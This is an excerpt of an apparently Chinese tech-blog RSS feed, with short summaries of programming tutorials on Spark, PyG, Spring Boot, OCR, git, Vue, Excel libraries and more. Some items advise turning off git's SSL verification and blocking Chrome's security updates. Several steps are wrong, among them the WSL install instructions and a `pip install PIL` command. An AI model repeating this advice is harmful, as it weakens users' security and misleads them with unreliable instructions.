collect等)，或者是向存储系统保存数据(saveAsTextFile等)。在Spark中，只有遇到action，才会执行RDD的计算(即延迟计算)，这样在运行时可以通过管道的方式传输多个转换。&#xA;要使用Spark，开发者需要编写一个Driver程序，它被提交到集群以调度运行Worker，如下图所示。Driver中定义了一个或多个RDD，并调用RDD上的action，Worker则执行RDD分区计算任务。&#xA;2.2 RDD的创建&#xA;在Spark中创建RDD的创建方式可以分为三种：从集合中创建RDD；从外部存储创建RDD；从其他RDD创建。&#xA;2.2.1 从集合中创建&#xA;从集合中创建RDD，Spark主要提供了两种函数：parallelize和makeRDD&#xA;1）使用parallelize()从集合创建&#xA;scala&amp;gt; val rdd = sc.parallelize(Array(1,2,3,4,5,6,7,8))&#xA;rdd: org.apache.spark.rdd.RDD[Int] = ParallelCollectionRDD[0] at parallelize at :24</description>
    </item>
    <item>
      <title>Speedify使用步骤</title>
      <link>https://bchobby.github.io/posts/12cba96dd804863e786d8270c6089739/</link>
      <pubDate>Sun, 25 Dec 2022 10:19:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/12cba96dd804863e786d8270c6089739/</guid>
      <description>好的，我将为您介绍使用Speedify的步骤。&#xA;前往Speedify的官网(https://www.speedify.com/)，点击页面上的“下载”按钮。&#xA;选择适用于您设备的版本并下载。&#xA;安装Speedify。根据您的操作系统，安装过程可能略有不同。&#xA;在安装后，启动Speedify。&#xA;当您首次启动Speedify时，您需要输入电子邮件地址和密码来创建帐户。如果您已经有了Speedify帐户，请输入您的登录凭据。&#xA;当您登录后，您就可以开始使用Speedify了。默认情况下，Speedify会自动连接到最佳服务器。如果您想要手动选择服务器，可以点击“选择服务器”按钮来进行更改。&#xA;如果您希望暂时停止使用Speedify，可以点击“断开连接”按钮。当您准备好再次使用Speedify时，只需再次点击“连接”按钮即可。&#xA;希望以上步骤能够帮助您快速上手使用Speedify。如果您在使用过程中遇到问题，可以尝试查看帮助文档或者联系Speedify的技术支持团队。</description>
    </item>
    <item>
      <title>【图神经网络】Pytorch图神经网络库——PyG异构图学习</title>
      <link>https://bchobby.github.io/posts/53ccb43d79c3aadd5e750f724d126996/</link>
      <pubDate>Sun, 25 Dec 2022 08:00:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/53ccb43d79c3aadd5e750f724d126996/</guid>
      <description>PyG异构图学习 举个例子创建异构图Utility函数 异构图Transformations创建异构图神经网络自动转换GNN模型使用异构卷积包装器部署现有的异构算子 异构图采样参考资料 大量真实世界数据集存储为异构图，这促使Pytorch Geometric（PyG）中引入专门的功能。例如，推荐领域中的大多数图（如社交图）都是异构的，因为它们存储关于不同类型的实体及其不同类型的关系的信息。本文介绍如何将异构图映射到PyG，以及如何将它们用作图形神经网络模型的输入。 异构图具有不同类型的信息附加到节点和边上。因此，由于类型和维数的差异，单个节点或边特征张量不能包含整个图的所有节点或边特征。相反，需要为节点和边分别指定一组类型，每个类型都有自己的数据张量。由于数据结构的不同，消息传递公式也随之改变，允许以节点或边类型为条件计算消息和更新函数。&#xA;举个例子 作为一个示例，我们从OGB数据集看一下异构ogbn-mag网络:&#xA;给定的异构图有1,939,743个节点，节点类型分为作者、论文、机构和研究领域四种。它还有21,111,007条边，属于以下四种类型之一:&#xA;writes(写作)：作者写一篇特定的论文affiliated with(附属于)：作者附属于某一特定机构cites(引用)：一篇论文引用另一篇论文has topic(有主题)：一篇论文有一个特定研究领域的主题 这个图的任务是根据图中存储的信息推断出每一篇论文(会议或期刊)的发表地点。&#xA;创建异构图 首先，我们可以创建torch_geometric.data.HeteroData类型的数据对象，为每种类型分别定义节点特征张量、边索引张量和边特征张量：&#xA;from torch_geometric.data import HeteroData data = HeteroData() # 实例化一个空对象 # 初始化结点特征 data[&#39;paper&#39;].x = ... # [num_papers, num_features_paper] data[&#39;author&#39;].x = ... # [num_authors, num_features_author] data[&#39;institution&#39;].x = ... # [num_institutions, num_features_institution] data[&#39;field_of_study&#39;].x = ... # [num_field, num_features_field] # 初始化边索引 data[&#39;paper&#39;, &#39;cites&#39;, &#39;paper&#39;].edge_index = ... # [2, num_edges_cites] data[&#39;author&#39;, &#39;writes&#39;, &#39;paper&#39;].edge_index = ... # [2, num_edges_writes] data[&#39;author&#39;, &#39;affiliated_with&#39;, &#39;institution&#39;].</description>
    </item>
    <item>
      <title>Java实现文件上传和下载</title>
      <link>https://bchobby.github.io/posts/7f8fa490ff5e06a69de42ef0f9daf8ba/</link>
      <pubDate>Fri, 23 Dec 2022 17:22:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7f8fa490ff5e06a69de42ef0f9daf8ba/</guid>
      <description>目录 一、简介二、maven依赖三、配置3.1、application.yml3.2、属性配置类 四、工具类（非FTP）4.1、文件上传4.2、文件下载 五、测试5.1、远端下载到服务器5.2、服务器下载到客户端5.3、浏览器上传到服务端 结语 一、简介 我们在工作和生活中经常遇到上传资料或者下载资料，这些资料可能是视频，语音，文件等等，我们统称为文件上传和文件下载，今天我们就基于Spring Boot，实现简单的文件上传下载功能。&#xA;二、maven依赖 本文用到的依赖如下：&#xA;pom.mxl&#xA;&amp;lt;?xml version=&#34;1.0&#34; encoding=&#34;UTF-8&#34;?&amp;gt; &amp;lt;project xmlns=&#34;http://maven.apache.org/POM/4.0.0&#34; xmlns:xsi=&#34;http://www.w3.org/2001/XMLSchema-instance&#34; xsi:schemaLocation=&#34;http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd&#34;&amp;gt; &amp;lt;modelVersion&amp;gt;4.0.0&amp;lt;/modelVersion&amp;gt; &amp;lt;parent&amp;gt; &amp;lt;groupId&amp;gt;org.springframework.boot&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-boot-starter-parent&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;2.5.2&amp;lt;/version&amp;gt; &amp;lt;relativePath/&amp;gt; &amp;lt;!-- lookup parent from repository --&amp;gt; &amp;lt;/parent&amp;gt; &amp;lt;groupId&amp;gt;com.alian&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;file&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;0.0.1-SNAPSHOT&amp;lt;/version&amp;gt; &amp;lt;name&amp;gt;file&amp;lt;/name&amp;gt; &amp;lt;description&amp;gt;文件上传和下载&amp;lt;/description&amp;gt; &amp;lt;properties&amp;gt; &amp;lt;java.version&amp;gt;1.8&amp;lt;/java.version&amp;gt; &amp;lt;/properties&amp;gt; &amp;lt;dependencies&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.springframework.boot&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-boot-starter-web&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;2.5.2&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.springframework.boot&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-boot-starter-freemarker&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;2.5.2&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.apache.commons&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;commons-lang3&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;3.12.0&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;com.alibaba&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;fastjson&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;1.2.68&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.projectlombok&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;lombok&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;1.16.14&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;/dependencies&amp;gt; &amp;lt;build&amp;gt; &amp;lt;plugins&amp;gt; &amp;lt;plugin&amp;gt; &amp;lt;groupId&amp;gt;org.</description>
    </item>
    <item>
      <title>【老保姆教程】：Tesseract-OCR图片文字识别</title>
      <link>https://bchobby.github.io/posts/1a0e4483a4a4072d8372fe24112b6521/</link>
      <pubDate>Fri, 23 Dec 2022 12:16:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1a0e4483a4a4072d8372fe24112b6521/</guid>
      <description>文章目录 🌟介绍一波🌟小安装🌟配置环境变量⭐️tesseract-ocr配置⭐️tessdata语言配置⭐️检测环境变量是否安装成功 🌟语言包的配置使用🌟CMD命令框中进行图片识别操作⭐️举例一：识别数字⭐️举例二：识别文字 🌟pycharm中进行图片识别操作⭐️举例一：识别文字 🌟唠唠问题 🌟介绍一波 Tesseract-OCR 是一款由HP实验室开发由Google维护的开源OCR(Optical Character Recognition , 光学字符识别)引擎。与Microsoft Office Document Imaging(MODI)相比，我们可以不断的训练的库，使图像转换文本的能力不断增强；如果团队深度需要，还可以以它为模板，开发出符合自身需求的OCR引擎。&#xA;（别问我咋知道，百度一下，你就知道😛）&#xA;🌟小安装 安装Tesseract-OCR（64位的安装包链接）&#xA;tesseract-ocr-setup-4.00.00dev.exetesseract各种语言集合包&#xA;tesseract各种语言集合包 🌟配置环境变量 ⭐️tesseract-ocr配置 下载 tesseract-ocr-setup-4.00.00dev.exe 完成后，对tesseract-ocr进行安装，找到tesseract.exe所在的文件路径，复制该文件所在的路径。&#xA;打开环境变量：打开控制面板——&amp;gt;输入“环境”，回车——&amp;gt;点击“编辑系统环境变量”——&amp;gt;点击“环境变量”。&#xA;3、在用户变量和系统变量的Path中分别粘贴之前复制的路径，最后一直点击“确定”即可。&#xA;⭐️tessdata语言配置 在Tesseract-OCR的文件夹中找到tessdata文件夹并进入（此文件夹中包含的是各种语言包，提供识别功能）并复制此路径。&#xA;打开环境变量（以上已有，不再赘述），在系统变量中点击新建，添加一个系统变量，变量名为TESSDATA_PREFIX，变量值为tessdata文件夹的路径。&#xA;⭐️检测环境变量是否安装成功 👉打开cmd命令框并输入tesseract后回车，如果出现以下内容则表示环境变量安装成功。&#xA;🌟语言包的配置使用 下载好tessdata各语言集合包并解压后点击进入文件，即可看见里面有很多语言包（chi_sim是中文识别包，equ是数学公式包，eng是英文包 ），可将对应的语言包复制并粘贴到Tesseract-OCR的文件夹下的tessdata文件夹中。&#xA;🌟CMD命令框中进行图片识别操作 在CMD中进入所要识别图片的路径。&#xA;⭐️举例一：识别数字 命令（举例）：tesseract 1.png out_1 -1 eng&#xA;1.png：图片名称&#xA;out_1：识别后形成的文本文件名称&#xA;-l：不是数字1，而是字母L的小写&#xA;eng：识别的是数字或英文&#xA;这时则在图片路径下生成一个名为out_1的文本文件，文件中写入的是识别的内容。&#xA;⭐️举例二：识别文字 🌟pycharm中进行图片识别操作 需要下载的模块：&#xA;pip install PIL&#xA;pip install pytesseract ⭐️举例一：识别文字 from PIL import Image from pytesseract import pytesseract a = pytesseract.image_to_string(Image.open(&#39;F:/识别/2.png&#39;), lang=&#39;chi_sim&#39;) print(a) 🌟唠唠问题 大家可以发现👀，使用Tesseract-OCR进行图片文字识别时会出现识别错误的情况，也就是识别精度较低。当我们想识别文字较多，内容较为复杂的图片时，就很难识别出来了，这可咋办？</description>
    </item>
    <item>
      <title>禁用Chrome自动更新及关闭弹窗</title>
      <link>https://bchobby.github.io/posts/963461bf6da26708a6e623b2b530d44b/</link>
      <pubDate>Fri, 23 Dec 2022 12:06:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/963461bf6da26708a6e623b2b530d44b/</guid>
      <description>Chrome经常提示自动更新失败，而且更新了以后还会提示，每次打开页面都弹窗，很烦，找了一些方法，又结合自己情况，做个总结分享，希望能帮到大家。&#xA;目录 1.关闭更新服务2.删除update文件并设置权限3.关闭弹窗提示4.完成 1.关闭更新服务 win+r 打开cmd，输入services.msc，确定，打开服务菜单，找到gupdate和gupdatem，如下图&#xA;分别双击服务，设置启动类型为禁用，确认&#xA;2.删除update文件并设置权限 打开Chrome目录，如 C:\Program Files (x86)\Google ，找到Update文件夹，删除文件夹中所有内容，右击Update文件夹–&amp;gt;属性–&amp;gt;安全–&amp;gt;编辑，选择SYSTEM，设置权限为拒绝，最后确定。&#xA;3.关闭弹窗提示 如果浏览器固定在任务栏，先取消固定，等操作完成后，再将Chrome固定到任务栏&#xA;在开始菜单中，找到Chrome，右击打开文件位置，右击属性，在“目标”后，添加如下内容，再点击确认&#xA;--disable-background-networking 4.完成 做完以上步骤，应该就不会自动更新也没有弹窗了，可以不用忍受弹窗折磨了。</description>
    </item>
    <item>
      <title>正则校验手机号</title>
      <link>https://bchobby.github.io/posts/81a1423c5e4610040994f6b25598b9a1/</link>
      <pubDate>Thu, 22 Dec 2022 22:22:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/81a1423c5e4610040994f6b25598b9a1/</guid>
      <description> 正则表达式可以用来校验手机号码的合法性。&#xA;如果你想使用正则表达式来校验中国大陆的手机号码，可以使用如下的正则表达式：&#xA;^1[3-9]\d{9}$&#xA;这个正则表达式可以匹配所有 13 到 19 开头的 11 位数字，即所有中国大陆的手机号码。&#xA;例如，如果你想校验字符串 &#34;13812345678&#34; 是否是一个合法的手机号码，可以使用如下的代码：&#xA;import re&#xA;def check_phone_number(phone_number): pattern = &#34;^1[3-9]\d{9}$&#34; if re.match(pattern, phone_number): return True else: return False&#xA;print(check_phone_number(&#34;13812345678&#34;)) # True print(check_phone_number(&#34;23812345678&#34;)) # False print(check_phone_number(&#34;138123456789&#34;)) # False print(check_phone_number(&#34;138123456&#34;)) # False&#xA;注意：&#xA;这个正则表达式只适用于中国大陆的手机号码，如果你想校验其他国家/地区的手机号码，可能需要使用不同的正则表达式。这个正则表达式只能用来校验手机号码的合法性，不能用来判断手机号码是否存在或者能否接收短信/电话。 </description>
    </item>
    <item>
      <title>css实现环形进度条</title>
      <link>https://bchobby.github.io/posts/5a4c1ef5b6bcab074a4c5e580e8f3c46/</link>
      <pubDate>Thu, 22 Dec 2022 20:11:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5a4c1ef5b6bcab074a4c5e580e8f3c46/</guid>
      <description>效果：&#xA;纯css实现进度条，这里用到的核心属性为box-show，box-show可以控制元素的阴影，通过控制元素阴影的移动位置来实现进度条效果。&#xA;.box{ box-show : 0px 0px 0px 0px #ccc; } box-show有5个参数&#xA;第一个参数： 控制元素阴影的左右位置第二个参数： 控制元素阴影的上下位置第三个参数： 控制元素阴影的模糊程度第四个参数： 控制元素阴影的大小（放大&amp;amp;缩小）第五个参数： 设置元素阴影的颜色 前四个参数部分可以省略，例如，box-show: 0px 0px 2px #ccc，这一句就是设置2px的模糊阴影，颜色为#ccc。&#xA;下面是代码部分：&#xA;&amp;lt;div class=&#34;container&#34;&amp;gt; &amp;lt;div class=&#34;shadow&#34;&amp;gt;Hover Me&amp;lt;/div&amp;gt; &amp;lt;/div&amp;gt; /* 使用 scss */ $color: #e91e63; .container{ position: relative; overflow: hidden; width: 124px; height: 124px; margin: 0 auto; border-radius: 50%; } .shadow{ position: absolute; top: 50%; left: 50%; transform: translate(-50% , -50%); width: 120px; height: 120px; line-height: 120px; border-radius: 50%; color: #fff; font-size: 20px; cursor: pointer; box-shadow: 60px -60px 0 2px $color,-60px -60px 0 2px $color,-60px 60px 0 2px $color,60px 60px 0 2px $color; text-align: center; /* &amp;amp;表示嵌套的上一级对象 这里就指的是shadow border 动画名称 0.</description>
    </item>
    <item>
      <title>python之环境切换问题实践总结</title>
      <link>https://bchobby.github.io/posts/f65b534aa8b3140568b7834ed1ddc2ba/</link>
      <pubDate>Thu, 22 Dec 2022 17:59:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f65b534aa8b3140568b7834ed1ddc2ba/</guid>
      <description>前言 这个标题是实践总结，为什么呢，因为这个问题困扰了我整整一个月，都没有解决。现在终于解决了，写一篇文章记录一下，也看看有没有小伙伴遇到一样的问题，或者在我下次还会发生这样的实情事可以第一时间解决，幸好不着急，不然就g了。&#xA;问题描述 就是我在暑假用python做了一个网页，这也是我学python以来第一个 大项目，做完之后，电脑太卡了，太乱了。然后就把电脑恢复出厂了，想着项目我已经做好了电脑再怎么折腾都会运行的，可是，等我把软件，环境全部装好之后，就发现好多报错。也不是报错，好多提示，一会是这个库没有安装，一会是python没有解释器。&#xA;库没安装，好办，我去安装，这一次我聪明了，做我恢复之前我搜过一个技能，怎么把项目中用到的库导出来，&#xA;pip freeze &amp;gt; requirements.txt 这个命令，可以把当前环境或者项目用到的第三方库全部导出来放到一个requirements.txt文件里面，方便下次一次性安装。&#xA;那我接下来安装&#xA;pip install -r requirements.txt 我安装完了。没有解释器，那我自己配置一下，但是还是提示我没有安装模块，但我我真的是确确实实安装了。&#xA;解决方案 最后我解决了，怎么解决的，归根结底还是我环境弄得不对，因为我学习的大数据，老师让我们使用anaconda。因为这个软件我用了半年了，大致有个了解，就是个python的发行版本。这一次直接给电脑安装了anaconda，没有安装python。&#xA;先说一下我的问题，我确确实实安装了第三方库，但是我错了，我把环境弄错了，我做的项目和我安装第三方库的不是一个环境。怎么理解呢，我住在这个房间，但是我把东西放在了那个房间。这么一来，我为什么找不到我的东西，因为我放错地方了。而且我百度，还创建好多没用的环境&#xA;然后我又安装python、卸载python，安装anaconda，卸载anaconda。来回横跳，就是不行&#xA;然后最近又在捣鼓一个东西，这里我大致了解了一些python环境相关的知识。今天，2022,10,31日解决了。今天是万圣节。&#xA;我记录一下解决过程&#xA;anaconda 介绍 一开接触这个，弄得我一头雾水，现在学习了快一年了，基本明白了。&#xA;先看一下百度百科对anaconda的解释&#xA;Anaconda包括Conda、Python以及一大堆安装好的工具包，比如：numpy、pandas等&#xA;Miniconda包括Conda、Python&#xA;conda是一个开源的包、环境管理器，可以用于在同一个机器上安装不同版本的软件包及其依赖，并能够在不同的环境之间切换&#xA;我用了这么久我来说一下这是什么意思&#xA;这是python的升级版，pro版&#xA;一大堆的安装好的工具包，就是说在没有使用anaconda的时候，我们使用一个第三方库，都有先pip install一下。是不是觉得很麻烦，我就想过这个问题，有没有什么方法可以不用安装这些库，自动就安装好，我一用pip就会报错。而anaconda对于像数据分析用的numpy、pandas等等这些工具包，不需要我们额外安装。已经带好了&#xA;conda是什么事，就是用来管理包的工具，其实和pip一样。我看好多文档，这是conda下载的比较全面，这个我具体不知道。&#xA;python，如果你觉得是python的解释器，那就对了一半，还有一半，现在python3.11都出来了，在我们之前安装的时候，就只能安装python的一种版本，但是anaconda不一样，你可以用python的各种版本，3.x、2.x来回切换。&#xA;这里就提到了一个虚拟环境，一开始我也是不明白，是这样的&#xA;我们现在用多个项目，那我就可以为每一个项目创建一个工作环境，对，虚拟环境也可以理解为工作环境。让这个项目只在属于自己的环境下开发，这时我们就可以每一个工作环境创建不同的python版本。各自版本的第三方库互不干扰。&#xA;anaconda，现在我用习惯了，都觉得很方便&#xA;因为提供了虚拟环境，所以也不用安装python了，这个里面就已经有了，但是要学会配置。&#xA;更新anaconda&#xA;conda update anaconda 环境管理 查看anaconda版本 conda -V 注意这个V要大写。这一步也是检测anaconda有没有安装成功的重要方法&#xA;查看所有虚拟环境 conda env list 或&#xA;conda info -e 或&#xA;conda info --envs 查看当前有哪些 虚拟环境，这里我要演示一下&#xA;(base) PS C:\Users\huan&amp;gt; conda env list # conda environments: # base * D:\anaconda3 base 是环境名称，D:\anaconda3是环境的安装位置</description>
    </item>
    <item>
      <title>解决git bash here 连接GitHub失败的问题fatal: unable to access ‘https://github.com/xxiaoooo/vscode.git/‘: Open</title>
      <link>https://bchobby.github.io/posts/4fc3aa9198c5ab0cd301685557c874f1/</link>
      <pubDate>Thu, 22 Dec 2022 16:36:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4fc3aa9198c5ab0cd301685557c874f1/</guid>
      <description>问题：fatal: unable to access &#39;https://github.com/xxiaoooo/vscode.git/&#39;: OpenSSL SSL_read: Connection was reset, errno 10054&#xA;译：致命：无法访问&#39;https://github.com/xxiaoooo/vscode.git/&#39;：OpenSSL SSL_read:连接已重置，错误号10054&#xA;产生原因：一般是这是因为服务器的SSL证书没有经过第三方机构的签署，所以才报错&#xA;参考网上解决办法：解除ssl验证后，再次git即可&#xA;输入：$ git config --global http.sslVerify &#34;false&#34;&#xA;又报错显示：fatal: unable to access &#39;https://github.com/xxiaoooo/vscode.git/&#39;: Could not resolve host: github.com&#xA;译：致命：无法访问&#39;https://github.com/xxiaoooo/vscode.git/&#39;：无法解析主机：github.com&#xA;...原因：出现该错误是因为使用了proxy代理，所以要解决该问题，核心操作就是要取消代理；&#xA;...查询：通过git配置文件查看是否使用代理：git config --global http.proxy&#xA;...解决：通过git取消代理：&#xA;git config --global --unset http.proxygit config --global --unset https.proxy 输入：git config --global http.proxy&#xA;再次输入： git config --global --unset http.proxy&#xA;然后再次链接GitHub仓库即可。</description>
    </item>
    <item>
      <title>git pull报错error: You have not concluded your merge (MERGE_HEAD exists).</title>
      <link>https://bchobby.github.io/posts/6a974705af7bbfb91abb413415adcfde/</link>
      <pubDate>Thu, 22 Dec 2022 16:29:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6a974705af7bbfb91abb413415adcfde/</guid>
      <description>输入git pull&#xA;显示以下信息&#xA;错误：您尚未结束合并（merge_HEAD存在）。&#xA;提示：请在合并之前提交更改。&#xA;致命：由于未完成合并而退出。&#xA;原因是因为我没有拉取仓库代码的最新版，然后又上传更改的内容，上传一半失败了，因为有个文件发生冲突了&#xA;解决方案：舍弃本地代码,远端版本覆盖本地版本(慎重)&#xA;输入git fetch --all&#xA;输入git reset --hard main ——强制恢复&#xA;注：这个地方可使用&#xA;git reset --hard origin/main&#xA;或git reset --hard origin/master&#xA;具体要根据红框圈住的地方选择&#xA;最后在输入git fetch ——从远程获取最新版本到本地，不会自动merge(合并两个分支)&#xA;然后就在本地仓库上又看见上传失败的文件了，先拉取远程仓库的最新版同步到本地，就可以把文件再重新上传了</description>
    </item>
    <item>
      <title>C#使用FreeSpire.XLS创建Excel</title>
      <link>https://bchobby.github.io/posts/49086fea6b7e871d906db62698006e94/</link>
      <pubDate>Thu, 22 Dec 2022 16:28:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/49086fea6b7e871d906db62698006e94/</guid>
      <description>前言 对于使用C#程序生成Excel文件，我经历了以下几个阶段，强烈推荐使用Spire.XLS：&#xA;Microsoft.Office.Interop.Excel.dllEPPlus.dllSpire.XLS.dll 对于Spire.XLS的免费版本，Free Spire.XLS有以下限制，但一般够用了，其官网说明如下&#xA;免费 Spire.XLS 感兴趣。它是完全免费的，没有任何警告消息供您商业和个人使用。 免费版限于每个工作簿5张和每张200行。在读取或写入XLS或PDF文件期间会强制执行此限制。 从Free Spire.XLS v7.8开始，加载和保存.xlsx文件格式没有任何限制。 将Excel文件转换为PDF文件时，只能获取PDF文件的前3页。 DLL引用 使用NuGet搜索FreeSpire.XLS安装到项目即可&#xA;我们用下图的一个表格，来做示例代码操作 代码如下 using Spire.Xls; using Spire.Xls.Charts; using System; using System.Data; using System.Drawing; namespace Spire_XLS_Demo { class Program { static void Main(string[] args) { //定义Excel保存路径，在临时目录中 string strFileName = System.IO.Path.GetTempPath() + &#34;DEMO_&#34; + DateTime.Now.ToString(&#34;yyyyMMdd_hhmmss&#34;) + &#34;.xlsx&#34;; //实例化Excel Workbook book = new Workbook(); book.DefaultFontName = &#34;Arial&#34;; Worksheet sheet1 = book.Worksheets[0]; Worksheet sheet2 = book.Worksheets[1]; //删除自动创建的Sheet3 book.Worksheets[2].Remove(); //加载数据 DataTable dtMyData = GetMyData(); //保存数据 sheet1.</description>
    </item>
    <item>
      <title>VUE—跳转传参</title>
      <link>https://bchobby.github.io/posts/a5a007323d4b98728a4f92a82c0174bf/</link>
      <pubDate>Thu, 22 Dec 2022 15:14:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a5a007323d4b98728a4f92a82c0174bf/</guid>
      <description>目录&#xA;一、基本使用&#xA;二、$route和$router&#xA;三、路由跳转的两种方式&#xA;四、编程式导航&#xA;五、传参&#xA;六、props&#xA;一、基本使用 1、安装vue-router&#xA;cnpm install --save vue-router@3 如果大家用的是vue2，下载vue-router不设置版本好的话，可能会因为版本过高，不兼容的问题导致项目报错，所以大家可以限制版本号&#xA;如果已经下载了最新的版本，可以先删除再下载&#xA;npm uninstall vue-router --legacy-peer-deps 2、创建路由组件&#xA;一般来说vue的路由组件建在【pages或者views】文件夹下，非路由组件建在components文件夹下&#xA;所有我们要先创建一个文件夹，我这里取名pages，再创建两个文件夹about和detail&#xA;&amp;lt;template&amp;gt; &amp;lt;div&amp;gt;about&amp;lt;/div&amp;gt; &amp;lt;/template&amp;gt; &amp;lt;script&amp;gt; export default { name: &#34;about&#34;, data() { return {}; }, created() {}, mounted() {}, methods: {}, }; &amp;lt;/script&amp;gt; &amp;lt;style scoped lang=&#34;stylus&#34;&amp;gt;&amp;lt;/style&amp;gt; detail组件和about一样&#xA;3、根组件添加非路由组件&#xA;&amp;lt;template&amp;gt; &amp;lt;div&amp;gt; &amp;lt;router-link to=&#34;/about&#34;&amp;gt;关于&amp;lt;/router-link&amp;gt; &amp;lt;router-link to=&#34;/detail&#34; style=&#34;marginLeft:20px&#34;&amp;gt;详情&amp;lt;/router-link&amp;gt; &amp;lt;router-view&amp;gt;&amp;lt;/router-view&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/template&amp;gt; &amp;lt;script&amp;gt; export default { name: &#39;app&#39;, data () { return { } }, created () { }, mounted () { }, methods: { } } &amp;lt;/script&amp;gt; &amp;lt;style scoped lang=&#34;</description>
    </item>
    <item>
      <title>windows10怎么安装linux子系统</title>
      <link>https://bchobby.github.io/posts/9eef6ad439935dfd50a6cc25a77c34b9/</link>
      <pubDate>Thu, 22 Dec 2022 14:42:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9eef6ad439935dfd50a6cc25a77c34b9/</guid>
      <description>要在 Windows 10 上安装 Linux 子系统，您需要执行以下步骤：&#xA;确保您的 Windows 10 版本为“家庭版”或“专业版”，因为 Linux 子系统只能在这两个版本中使用。&#xA;打开“设置”并单击“更新与安全”。&#xA;在左侧菜单中单击“开发人员选项”。&#xA;在右侧的“开发人员选项”窗口中，勾选“启用 Windows Subsystem for Linux”选项。&#xA;单击“确定”并重新启动您的计算机。&#xA;在启动后，打开 Microsoft Store 并搜索“Linux”。&#xA;在搜索结果中，选择你想要安装的 Linux 发行版，并单击“获取”</description>
    </item>
    <item>
      <title>Easy Excel 常用注解</title>
      <link>https://bchobby.github.io/posts/503caba48655862342683ee82e6a5b4d/</link>
      <pubDate>Thu, 22 Dec 2022 13:41:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/503caba48655862342683ee82e6a5b4d/</guid>
      <description>1.@ExcelProperty - 用于匹配excel和实体类的匹配，参数：value是列名，index是列名的序号， converter默认自动选择，指定当前字段用什么转换器，默认会自动选择。写的情况下只要实现com.alibaba.excel.converters.Converter#convertToExcelData(com.alibaba.excel.converters.WriteConverterContext&amp;lt;T&amp;gt;) 方法即可。&#xA;2.@ColumnWith - 设置列宽，参数最大可以设置255个字符&#xA;3.@ContentFontStyle - 设置单元格内容字体格式&#xA;参数含义fontName字体名称fontHeightInPoints字体高度italic是否斜体strikeout是否设置删除水平线color字体颜色typeOffset偏移量underline下划线bold是否加粗charset编码格式 4.@ContentRowHeight - 设置行高，value为-1代表自动行高&#xA;5.@ContentStyle - 设置内容格式&#xA;参数含义dataFormat日期格式hidden设置单元格使用此样式隐藏locked设置单元格使用此样式锁定quotePrefix在单元格前面增加`符号，数字或公式将以字符串形式展示horizontalAlignment设置是否水平居中wrapped设置文本是否应换行。将此标志设置为true通过在多行上显示使单元格中的所有内容可见verticalAlignment设置是否垂直居中rotation设置单元格中文本旋转角度。03版本的Excel旋转角度区间为-90°90°，07版本的Excel旋转角度区间为0°180°indent设置单元格中缩进文本的空格数borderLeft设置左边框的样式borderRight设置右边框样式borderTop设置上边框样式borderBottom设置下边框样式leftBorderColor设置左边框颜色rightBorderColor设置右边框颜色topBorderColor设置上边框颜色bottomBorderColor设置下边框颜色fillPatternType设置填充类型fillBackgroundColor设置背景色fillForegroundColor设置前景色shrinkToFit设置自动单元格自动大小 6.@HeadFontStyle - 设置标题字体格式&#xA;参数含义fontName设置字体名称fontHeightInPoints设置字体高度italic设置字体是否斜体strikeout是否设置删除线color设置字体颜色typeOffset设置偏移量underline设置下划线charset设置字体编码bold设置字体是否加粗 7.@HeadRowHeight - 设置标题行行高，value为-1代表自动标题行高&#xA;8.@HeadStyle - 设置标题样式&#xA;参数含义dataFormat日期格式hidden设置单元格使用此样式隐藏locked设置单元格使用此样式锁定quotePrefix在单元格前面增加`符号，数字或公式将以字符串形式展示horizontalAlignment设置是否水平居中wrapped设置文本是否应换行。将此标志设置为true通过在多行上显示使单元格中的所有内容可见verticalAlignment设置是否垂直居中rotation设置单元格中文本旋转角度。03版本的Excel旋转角度区间为-90°90°，07版本的Excel旋转角度区间为0°180°indent设置单元格中缩进文本的空格数borderLeft设置左边框的样式borderRight设置右边框样式borderTop设置上边框样式borderBottom设置下边框样式leftBorderColor设置左边框颜色rightBorderColor设置右边框颜色topBorderColor设置上边框颜色bottomBorderColor设置下边框颜色fillPatternType设置填充类型fillBackgroundColor设置背景色fillForegroundColor设置前景色shrinkToFit设置自动单元格自动大小 9.@ExcelIgnore - 